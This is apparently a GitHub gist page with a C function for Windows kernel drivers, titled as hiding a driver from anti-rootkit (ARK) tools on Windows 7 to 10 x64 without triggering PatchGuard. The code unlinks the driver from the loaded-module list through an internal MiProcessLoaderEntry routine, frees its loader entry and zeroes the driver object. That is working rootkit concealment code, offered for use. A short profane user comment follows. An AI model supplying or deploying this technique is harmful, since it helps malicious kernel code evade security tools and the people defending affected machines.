Last active
January 4, 2024 15:06
-
-
Save typcn/5525e9b124097d0943645f6ef856db78 to your computer and use it in GitHub Desktop.
Hide Driver from ARK tools ( win7 -- win10 x64, patchguard safe )
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
VOID DrvObjHide(_In_ PVOID Context) { | |
// Wait the driver fully loaded | |
NTSTATUS status = STATUS_SUCCESS; | |
INT64 interval = 1000 * -10000i64; | |
status = KeDelayExecutionThread(KernelMode,FALSE,(PLARGE_INTEGER)&interval); | |
PDRIVER_OBJECT driver_object = (PDRIVER_OBJECT)Context; | |
tMiProcessLoaderEntry fun = (tMiProcessLoaderEntry)FindMiProcessLoaderEntry(); | |
// MiProcessLoaderEntry will remove your driver from PsLoadedModuleList, and the patchguard moniting context. | |
// So it won't trigger a BSOD | |
fun(driver_object->DriverSection,FALSE); | |
PLDR_DATA_TABLE_ENTRY DataTableEntry = (PLDR_DATA_TABLE_ENTRY)driver_object->DriverSection; | |
DataTableEntry->LoadCount -= 1; | |
if (DataTableEntry->FullDllName.Buffer != NULL) { | |
ExFreePool(DataTableEntry->FullDllName.Buffer); | |
} | |
if (DataTableEntry->SectionPointer != NULL) { | |
ObDereferenceObject(DataTableEntry->SectionPointer); // dereference the driversection | |
} | |
ExFreePool(DataTableEntry); | |
ExFreePool(driver_object->DriverName.Buffer); | |
RtlSecureZeroMemory(driver_object, sizeof(DRIVER_OBJECT));// zero the driver object | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
what the fuck is "fun"